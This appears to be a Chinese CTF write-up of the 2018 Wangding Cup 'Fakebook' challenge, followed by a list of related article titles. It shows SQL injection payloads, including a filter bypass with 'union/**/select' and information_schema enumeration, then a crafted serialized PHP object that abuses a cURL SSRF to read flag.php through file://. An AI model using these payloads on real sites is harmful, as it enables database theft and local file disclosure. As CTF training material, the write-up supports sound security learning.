[网鼎杯 2018]Fakebook


点击添加两条记录之后,任意点进去观察到

http://b996c614-1897-4c97-a331-05d75922d627.node3.buuoj.cn/view.php?no=2

观察到no=2可能是sql注入的情况,之后and 1=1与and 1=2发现有注入点,

进行order by测试的时候发现当order by 为5的时候出现错误

http://b996c614-1897-4c97-a331-05d75922d627.node3.buuoj.cn/view.php?no=2 order by 5--+


之后进行联合注入发现有过滤

  之后进行测试发现过滤union select,可以使用union/**/select进行绕过

http://b996c614-1897-4c97-a331-05d75922d627.node3.buuoj.cn/view.php?no=2 and 1=2 union/**/select 1,2,3,4--+


之后使用平常语句进行注入

查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=
查列:select column_name from information_schema.columns where table_name=
查数据:select 列名 from 库名.表名(select concat_ws('-',username,password) from security.users limit 0,1)

发现有

1-root-0bcf4a53fcc542511eb41f30b5230f70deb88cde04f28386989122f457aaefd36677f9befcd57277d9ca2363d8758a403e905baf08bbf6c7f6ed707bc5a5fcc3-O:8:"UserInfo":3:{s:4:"name";s:4:"root";s:3:"age";i:12;s:4:"blog";s:7:"123.com";}

没有思路,进行目录扫描发现有robots.txt,打开链接发现有以下目录

打开发现有源码

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}
_tostring():当把一个类当作字符串使用时就会自动调用该方法_invoke():当把一个类当作函数使用时,就会自动调用该方法_construct:创建一个新的类时,自动调用该方法_destruct:当一个类被销毁时自动调用该方法_sleep():当调用serialize()函数时调用

  以下程序代码为接受一个url,之后把传递过来的url进行执行,并会输出源码
并且判断响应的状态是不是404.

 function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}curl_init()                 //初始化一个curl会话curl_setopt()               //为一个curl设置会话参数
ch:
由 curl_init() 返回的 cURL 句柄。
option:
需要设置的CURLOPT_XXX选项。
(CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置。)
(CURLOPT_BINARYTRANSFER:在启用CURLOPT_RETURNTRANSFER的时候,返回原生的(Raw)输出。)
value:
将设置在option选项上的值
具体链接可以参考:https://www.runoob.com/php/php-ref-curl.html

  使用PHP的cURL库可以简单和有效地去抓网页。你只需要运行一个脚本,然后分析一下你所抓取的网页,然后就可以以程序的方式得到你想要的数据了。执行以下代码会读取百度的网页,并把读取百度的源码输出到浏览器上,浏览器解析最终出现百度的页面。正因为如此,所以才会出现ssrf漏洞。
  SRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统),。防御:禁止跳转,限制协议,内外网限制,URL限制。绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dns rebindding。

<?php
// 创建一个新cURL资源$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.baidu.com");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
echo 'output'.$output;
//var_dump('output'.$output);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
//var_dump('httpCode',$httpCode);
echo 'httpCode',$httpCode;
if($httpCode == 404) {return 404;
}
curl_close($ch);
?>
http://b996c614-1897-4c97-a331-05d75922d627.node3.buuoj.cn/view.php?no=2

  发现有源码(这里是参考了他人的博客)

  通过源码发现存在SSRF漏洞,从我们爆出的字段data是序列化后的字符串

O:8:"UserInfo":3:{s:4:"name";s:4:"root";s:3:"age";i:12;s:4:"blog";s:7:"123.com";}

  说明注册时会序列化我们的信息,回显到页面时再反序列化。
这个data本来回显的是我们自己的博客,但我们把它改为回显flag.php就可以构成ssrf,可以将序列化改为:

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:56;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

  因为data字段在第四位所以最终构成的payload的为:

之后右击查看源码:

进行bese64解码得到flag。

以上代码是我个人的理解,如果有不对的地方还请指出,互相学习。

[网鼎杯 2018]Fakebook相关推荐

  1. [网鼎杯2018]Unfinish

    [网鼎杯2018]Unfinish 盲猜register界面 打开看什么都没有. 二次注入类题目 绕过方法: ​ mysql中,+只能当做运算符. ​ 执行select '1'+'1a'时 结果 执行 ...

  2. BUUCTF__[网鼎杯 2018]Fakebook_题解

    前言 前天上午去报名了初中辅导老师,下午收到暑假可能可以回学校学习...真就尴尬.如果可以,回还是不回. 参加了2020年的网鼎杯,签到杯,神仙打架,萌新不配参加,下次一定. 读题 这题有点意思,虽然 ...

  3. BMZCTF 网鼎杯 2018 minified

    使用stegsolve打开图片,不断点击箭头查看图像,在Red plane发现无图像,怀疑是零通道问题,然后无解哈哈哈. 查看大佬的wp,将alpha0,red0,green0,blue0分别保存为b ...

  4. BUU刷题记-网鼎杯专栏2

    title: BUU刷题记_网鼎杯专栏2 date: 2001-07-16 18:30:26 tags: [addslashes().二次注入 漏洞,gbk编码导致的宽字节注入漏洞,.git文件泄露及 ...

  5. 【CTF WriteUp】网鼎杯 青龙组 Misc题解复现(整理,WP非原创)

    (原本还打算四场Crypto全刷的,结果第四场被教做人了,算了整理点别的当补偿了) (另:求白虎组 Misc-boot 的 WP) Misc 虚幻2 图片在RGB信道各有一张图,提出来 R: G: B ...

  6. 2022网鼎杯青龙组wp

    本次网鼎杯的Crypto部分其实还是比较简单的,解出的人数也较多.感觉405题略难一些,花了比较多的时间,恰巧最后几小时给出的162所用到的求解方式之前遇到过,有幸作为一个CTF新手把这次的比赛密码学 ...

  7. 网络安全的“奥运会”——第三届“网鼎杯”网络安全大赛即将开幕

    乘风破浪潮头立,为国铸鼎正当时!以"数字未来,共同守护"为主题的2022年第三届"网鼎杯"网络安全大赛如约而至.大赛由公安部指导,"政产学研用&quo ...

  8. Elon为2020网鼎杯准备之“CTF初体验!”

    为网鼎杯做准备的第一天 网鼎杯是网络安全领域的"奥林匹克",也是国内最大型高水平网络安全竞赛. 此次大赛将在5月展开所有的线上赛,并且将在6.19~6.21于广东省深圳市举行线下所 ...

  9. CTF-i春秋网鼎杯第一场misc部分writeup

    CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...

最新文章

  1. Lync 手机客户端登录过程
  2. 嵌入式多媒体设计7--QDockWidget大小调整及隐藏标题
  3. 谷歌相册也不能无限白嫖了,「地主家」也烧不起免费网盘
  4. caddy php sock,Caddy环境下一些Web应用程序的配置参考
  5. 同一个电脑安装两个jdk版本
  6. 根据Explain结果中的key_len判断MySQL联合索引中实际用到的索引字段
  7. mysql数据开启远程登录,修改端口,开放防火墙端口
  8. 3月数据库排行:前10整体下行,出新技术了?
  9. Python 面向对象编程
  10. 安卓学习笔记02:测试安卓开发环境
  11. delphi 到出execl2010 文件损坏_如何修复Linux中损坏的软件包?
  12. 使用NPOI——C#和WEB API导出到Excel
  13. python怎么创建变量_创建一个新变量,它是python中另一个变量的...
  14. HTML5基础知识习题 一
  15. FPGA之JESD204B接口——总体概要 实例 中
  16. 2022新阅读:nmn有用吗?nmn注意事项有哪些?
  17. php模拟QQ登录获得skey码,PHP模拟QQ网页版授权登陆
  18. 7款英文语法检查工具推荐
  19. mysql登录其他电脑_如何连接另一台电脑的mysql数据库
  20. 使用软路由实现智能Qos

热门文章

  1. python——Matplotlib饼图、直方图的绘制
  2. 摸鱼一小时实现的斗牛Game【Java版】,希望各位友友远离赌博~
  3. 60 个神级 VS Code 插件,助你打造最强编辑器
  4. 世界上前11名最贵跑车
  5. 计算机开机后黑屏 只有鼠标,电脑开机黑屏只有鼠标两种解决方法
  6. C#基础编程——简介及基础语法
  7. 虚拟机(VMware)如何设置共享文件夹
  8. 微信小程序毕业设计——社区老人互助管理平台
  9. VC6.0实现网络编程弹出一个消息框
  10. 520套日式 韩游 消除RGB类 人物角色 动画序列帧 手游动画